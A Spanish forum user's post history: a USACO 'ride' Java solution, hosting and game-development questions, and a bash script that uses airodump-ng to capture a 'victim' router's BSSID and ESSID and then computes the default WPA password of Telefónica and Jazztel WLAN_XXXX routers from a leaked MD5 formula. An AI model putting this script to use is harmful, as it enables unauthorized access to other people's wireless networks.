Mensajes

Te dejo mi solución que pasa los juegos de prueba en USACO:

Código (java) [Seleccionar] Expandir

import java.io.PrintWriter;
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.FileWriter;
import java.io.IOException;
import java.util.StringTokenizer;

public class ride implements Runnable {
   PrintWriter writer;
   BufferedReader reader;
   StringTokenizer tokenizer;
   
   private void solve() throws IOException {
       String s = nextToken(), r = nextToken();
       int a = 1, b = 1;
       for (int i = 0; i < s.length(); ++i) a = (a*(Character.getNumericValue(s.charAt(i)) - 9))%47;
       for (int i = 0; i < r.length(); ++i) b = (b*(Character.getNumericValue(r.charAt(i)) - 9))%47;
       
       if (a == b) writer.println("GO");
       else writer.println("STAY");
   }
   
   public static void main(String[] args) {
       new ride().run();
   }
   
   public void run() {
       try {
           reader = new BufferedReader(new FileReader("ride.in"));
           writer = new PrintWriter(new FileWriter("ride.out"));
           tokenizer = null;
           solve();
           reader.close();
           writer.close();
       }
       catch (IOException e) {
       }
   }
   
   String nextToken() throws IOException {
       if (tokenizer == null || !tokenizer.hasMoreTokens())
           tokenizer = new StringTokenizer(reader.readLine());
       return tokenizer.nextToken();
   }
}

Ya esta, ya he visto mi fallo se me olvido que no empieza desde 1 sino desde 10 ¬¬.

Hola buenas, estoy dando la cabeza con un problema de una pagina web en Java y no lo consigo, tengo todo menos la parte de calcular. Aqui os pongo el problema (No todo el enunciado porque hay una parte que no sirve).

Tanto el nombre del grupo y el nombre del cometa son convertidos en un número de la siguiente manera: el número final es simplemente el producto de todas las letras en el nombre, donde "A" es 1 y "Z" es 26. Por ejemplo, el grupo "USACO" sería 21 * 19 * 1 * 3 * 15 = 17955. Si el número del grupo módulo 47 es el mismo que el número del cometa módulo 47, entonces tú necesitas decirle al grupo ¡Alístense¡ (Recuerda que "a mod b" es el residuo después de dividir a por b; 34 mod 10 es 4.)

Escribe un programa el cual lea el nombre de un cometa y el nombre de un grupo y encuentre si de acuerdo al método antes descrito el grupo debe ir en el OVNI detrás de ese cometa y en ese caso imprima "GO", y si no "STAY". Los nombres de los grupos y de los cometas serán cadenas de letras mayúsculas sin espacios ni caracteres de puntuación, hasta de 6 caracteres de longitud.

Ejemplos:

Entrada    Salida
COMETQ
HVNGAT      GO
------------------------
ABSTAR
USACO      STAY

Y este es el código que tengo hecho

Código (java) [Seleccionar] Expandir


public class ride {
private int valorGrupo;
private int valorNave;
private int mod;
private String grupo;
private String nave;
private BufferedReader in;
private PrintWriter out;
private StringTokenizer st;

public ride() throws Exception{
try
{
in = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream(this.getClass().getSimpleName()+".in")));
out = new PrintWriter(new FileWriter(this.getClass().getSimpleName()+".out"));

String datos = in.readLine().trim();
st = new StringTokenizer(datos);
nave = st.nextToken();

while((datos = in.readLine()) != null){
st = new StringTokenizer(datos);
grupo = st.nextToken();

}

if(grupo.length() > 6 || grupo.length() == 0 || nave.length() > 6 || nave.length() == 0)
System.exit(0);


valorGrupo = 1;
valorNave = 1;

for(int i = 0; i < grupo.length(); i++){
valorGrupo *= Character.getNumericValue(grupo.charAt(i));
}

for(int i = 0; i < nave.length(); i++){
valorNave *= Character.getNumericValue(nave.charAt(i));
}

mod = 47;


}catch (Exception e) {
throw new Exception(e);
}finally
{
if(in != null)
in.close();
if(out != null)
out.close();
}
}


public static void main(String[] args) {
try
{
new ride();
System.exit(0);
}catch(Exception e){
e.printStackTrace();
System.exit(-1);
}
}
}


Las clases in y out seria para los archivos en donde se encuentra los datos (in) y out (la escritura de si es GO o Stay). Llevo tiempo dando el coco pero no consigo sacar la maldita operacion, o es que lo comprendo mal o no lo se.

Hola buenas, estoy involucrado en un proyecto entre 9 personas (cada uno en su respectivo campo) de una página WEB, en principio teníamos servidor propio pero el que lo mantiene no puede por falta de tiempo entonces hemos decidido contratar un Host pero no sabemos cual es mejor.
Nuestro proyecto esta compuesto de un foro y web. El proyecto esta hecho con base de Joomla, es decir, el host tiene que tener compatibilidad con Joomla, también el host si es posible que se pueda realizar pagos por Paypal.
El host que he encontrado por ahora que me cumple los dos requisitos (al menos que cumpla el de Joomla) es Bluehost. He estado buscando sobre esa empresa y dicen que es muy bueno respecto calidad/precio, un buen servicio técnico, viene con el Cpanel incluido y permite SSH. Me gustaría si alguien lo ha usado, lo usa o conoce alguien que lo ha usado que le pareció esa empresa.
Por último también me podéis recomendar mas empresas que al menos tenga compatibilidad con Joomla y si es posible pago por Paypal, para no tener que asociarlo a ninguna cuenta bancaria ni nada por el estilo.

Gracias Darhius y egyware, empezaré lo antes posible a estudiar la documentación. Pondré ya Solucionado y ya está.

El juego que tengo pensado es estilo como este, te pongo el link de un minijuego

http://www.minijuegos.com/Draw-Bounce/5477

Es decir que tu dibujas un camino y la bola tiene que llegar hasta un objeto. Me da igual empezar de lo básico hasta esto, pero necesito documentación de como hacerlo.

Hola buenas, tengo pensado hacer un pequeño juego en 2D en Java (Luego portar lo a Android) pero la cuestión, es que no encuentro documentación muy detallada (He encontrado poca cosa pero me es insuficiente) sobre como hacer juegos en POO (más concreto Java), ya que no se como aplicar la física en un sprite, técnicas de buffer para las imágenes y étc. Si alguien me diese información de como hacerlo se lo agradecería un montón. Un Saludo a todos.

Yo desde que use demasiado root cuando empece en Linux y me cargue el SO lo uso pero que muy poco.

Buenas:

Afsoon, andreselmejor lo que te quiere dar a entender es que sería cifrado WPA y no WAP (el WAP está relacionado con los móviles ¿no?)

Y por otro lado no son WLAN_XX sino WLAN_XXXX

Un saludo

ChimoC

Gracias ChimoC no me había dado cuenta, no se que se me ha pasado por la cabeza, siempre me confundo

AiroWPA es el nombre que le he puesto a mi script, no es otra cosa y si saca las contraseñas WPA de Telefonica y Jazztel

Hola buenas, como todos estaréis al corriente de que se filtrado el algoritmo de las contraseñas WAP de Telefónica y Jazztel, pues bien, me he descargado el script en Bash, que estaba hecho por a.s.r y lo he editado un poco (Pero el algoritmo esta intacto, solo he editado el paso de variables y he añadido unas cosas) y también le he añadido airodump-ng para que sea mas fácil saber la BSSID de la víctima (lo hice para noveles o para los que no se quieren romper la cabeza). Por último, yo no me hago responsable del uso que se le puede dar a terceros (También tengo el aviso en el script) porque quiero enseñar la facilidad de sacar estas contraseñas ahora (eso se encarga la parte de a.s.r) y si esta automatizado el proceso para saber las cosas necesarios en menos de 1 min ya tienes la contraseña (Esa es mi parte, hay muy poca iteración con el usario). Como el saber es libre, aquí tenéis el script

Código (bash) [Seleccionar] Expandir


#/bin/bash/

#############################################################################################################################################
# Esta parte del script esta hecho por Afsoon (a excepción del algoritmo que esta implantado por a.s.r), yo no me hago responsable del uso # que se le puede dar a terceros, yo hago esto con fines didácticos, para mostrar la poca seguridad de los routers de Telefónica (WLAN_XXXX) # y Jazztel y con la facilidad que se sacan si el proceso se automatiza .
#############################################################################################################################################

#Variable de la interfaz que se deberá de escribir antes de iniciar el script
INTERFAZ=
# Se encarga de preguntar antes del inicio si ha escrito la interfaz para ejecutar airodump para saber la ESSID y BSSID

echo "Antes de ejecutar este script, ustede debe de haber"
echo "abierto el script y escrito en la variable INTERFAZ"
echo "su interfaz que se usará para airodump"
echo "si no lo ha hecho diga no ahora, escriba la interfaz"
echo "y vuelva a abrir el script y diga si"

echo "Ha escrito su interfaz [s]i\[n]o"
read opc

if [ $opc == "s" ]; then

# Esta parte mostrara el airodump para ver la BSSID y ESSID

clear
echo "Ahora se usara airodump, para saber la BSSID y ESSID al"
echo "que desea atacar. Usted puede parar el proceso cuando quiera"
echo "Cuando pare el proceso pasaremos a generar la contraseña"
echo "una vez obtenido los datos necesirarios que se dice a continuación"
echo "Se le abrira Gedit en paralelo a airodump"
echo "y copia el BSSID y ESSID de la víctima"

trap 'airodump' INT;
airodump()
{

# Ahora ejecuta el script que generara la contraseña pero con unas cuantas variaciones
# en el que hay un paso de variables por teclado
clear
echo CalcWLAN by a.s.r and some edited by Afsoon # NO HE EDITADO EL ALGORITMO

echo "Ahora se mostrara lo que debes de escribir"                                                                    

echo "Inserte su ESSID"
echo "Por ejemplo WLAN_C58D"

read ESSID

echo "Inserte el BSSID"
echo "Por ejemplo 64:68:0C:C5:C5:90"

read BSSIDS
                             
HEAD=$(echo -n "$ESSID" | tr 'a-z' 'A-Z' | cut -d_ -f2)                                              
BSSID=$(echo -n "$BSSIDS" | tr 'a-z' 'A-Z' | tr -d :)                                                
BSSIDP=$(echo -n "$BSSID" | cut -c-8)                                          
KEY=$(echo -n bcgbghgg$BSSIDP$HEAD$BSSID | md5sum | cut -c-20)                  
                                                                               
echo "La clave es $KEY"
exit

}

sudo airodump-ng $INTERFAZ
wait 2
gedit &
fi

if [ $opc == "n" ]; then
exit
fi


El funcionamiento del Script es muy simple:

1- Hace una pregunta para saber si has escrito la interfaz (si no se escribe poco hará el Script)
2- si se dice que si, se le dirá que se usara airodump y gedit, este último para apuntar la BSSID y ESSID y cuando acabe con el proceso se pasará a generar la contraseña
3- Cuando se mata el proceso de airodump y se haya copiado el BSSID y ESSID, se le pedirá que se ingrese los datos correspondientes y ya el algoritmo hace su trabajo y te muestra la contraseña.